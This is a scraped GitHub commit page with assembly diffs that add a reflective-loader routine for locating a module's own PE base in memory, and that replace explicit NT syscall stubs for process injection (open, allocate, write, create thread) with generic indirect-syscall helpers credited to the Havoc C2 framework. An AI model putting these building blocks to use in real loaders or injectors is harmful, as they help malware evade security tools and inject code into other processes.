-
Notifications
You must be signed in to change notification settings - Fork 13
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
51 changed files
with
734 additions
and
452 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
File renamed without changes.
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
global ReflectiveCaller | ||
|
||
section .text | ||
|
||
ReflectiveCaller: | ||
call pop | ||
pop: | ||
pop rcx | ||
loop: | ||
xor rbx, rbx | ||
mov ebx, 0x5A4D | ||
dec rcx | ||
cmp bx, word ds:[rcx] | ||
jne loop | ||
xor rax, rax | ||
mov ax, [rcx + 0x3C] | ||
add rax, rcx | ||
xor rbx, rbx | ||
add bx, 0x4550 | ||
cmp bx, word ds:[rax] | ||
jne loop | ||
mov rax, rcx | ||
ret |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
global _ReflectiveCaller | ||
|
||
section .text | ||
|
||
_ReflectiveCaller: | ||
call pop | ||
pop: | ||
pop ecx | ||
loop: | ||
xor ebx, ebx | ||
mov ebx, 0x5A4D | ||
dec ecx | ||
cmp bx, word ds:[ecx] | ||
jne loop | ||
xor eax, eax | ||
mov ax, [ecx + 0x3C] | ||
add eax, ecx | ||
xor ebx, ebx | ||
add bx, 0x4550 | ||
cmp bx, word ds:[eax] | ||
jne loop | ||
mov eax, ecx | ||
ret |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,23 +1,17 @@ | ||
; Inspired: | ||
; https://github.com/HavocFramework/Havoc/blob/ea3646e055eb1612dcc956130fd632029dbf0b86/payloads/Demon/src/asm/Syscall.x64.asm#L1 | ||
|
||
section .text | ||
global SysSample | ||
global SysSet | ||
global SysInvoke | ||
global SysSet | ||
global SysInvoke | ||
|
||
SysSample: | ||
mov rax, rcx | ||
mov eax, [rax] | ||
add eax, [rax + 0x8] | ||
ret | ||
section .text | ||
|
||
SysSet: | ||
mov r11, rcx | ||
ret | ||
SysSet: | ||
mov r11, rcx | ||
ret | ||
|
||
SysInvoke: | ||
mov r10, rcx | ||
mov eax, [r11 + 0x8] | ||
jmp qword [r11] | ||
ret | ||
SysInvoke: | ||
mov r10, rcx | ||
mov eax, [r11 + 0x8] | ||
jmp qword [r11] | ||
ret |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,63 +1,19 @@ | ||
section .data | ||
; Inspired: | ||
; https://github.com/HavocFramework/Havoc/blob/ea3646e055eb1612dcc956130fd632029dbf0b86/payloads/Demon/src/asm/Syscall.x64.asm#L1 | ||
|
||
extern NtOpenProcessSSN | ||
extern NtOpenProcessSyscall | ||
|
||
extern NtAllocateVirtualMemorySSN | ||
extern NtAllocateVirtualMemorySyscall | ||
|
||
extern NtWriteVirtualMemorySSN | ||
extern NtWriteVirtualMemorySyscall | ||
|
||
extern NtCreateThreadExSSN | ||
extern NtCreateThreadExSyscall | ||
|
||
extern NtWaitForSingleObjectSSN | ||
extern NtWaitForSingleObjectSyscall | ||
|
||
extern NtCloseSSN | ||
extern NtCloseSyscall | ||
global SysSet | ||
global SysInvoke | ||
|
||
section .text | ||
|
||
global NtOpenProcess | ||
NtOpenProcess: | ||
mov r10, rcx | ||
mov eax, [rel NtOpenProcessSSN] | ||
jmp qword [rel NtOpenProcessSyscall] | ||
ret | ||
|
||
global NtAllocateVirtualMemory | ||
NtAllocateVirtualMemory: | ||
mov r10, rcx | ||
mov eax, [rel NtAllocateVirtualMemorySSN] | ||
jmp qword [rel NtAllocateVirtualMemorySyscall] | ||
ret | ||
|
||
global NtWriteVirtualMemory | ||
NtWriteVirtualMemory: | ||
mov r10, rcx | ||
mov eax, [rel NtWriteVirtualMemorySSN] | ||
jmp qword [rel NtWriteVirtualMemorySyscall] | ||
ret | ||
|
||
global NtCreateThreadEx | ||
NtCreateThreadEx: | ||
mov r10, rcx | ||
mov eax, [rel NtCreateThreadExSSN] | ||
jmp qword [rel NtCreateThreadExSyscall] | ||
ret | ||
|
||
global NtWaitForSingleObject | ||
NtWaitForSingleObject: | ||
mov r10, rcx | ||
mov eax, [rel NtWaitForSingleObjectSSN] | ||
jmp qword [rel NtWaitForSingleObjectSyscall] | ||
ret | ||
|
||
global NtClose | ||
NtClose: | ||
mov r10, rcx | ||
mov eax, [rel NtCloseSSN] | ||
jmp qword [rel NtCloseSyscall] | ||
ret | ||
SysSet: | ||
mov edx, [esp + 0x4] | ||
ret | ||
|
||
SysInvoke: | ||
mov ebx, [edx + 0x0] | ||
mov eax, [edx + 0x4] | ||
mov edx, esp | ||
sub edx, 0x4 | ||
call DWORD ebx | ||
ret |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.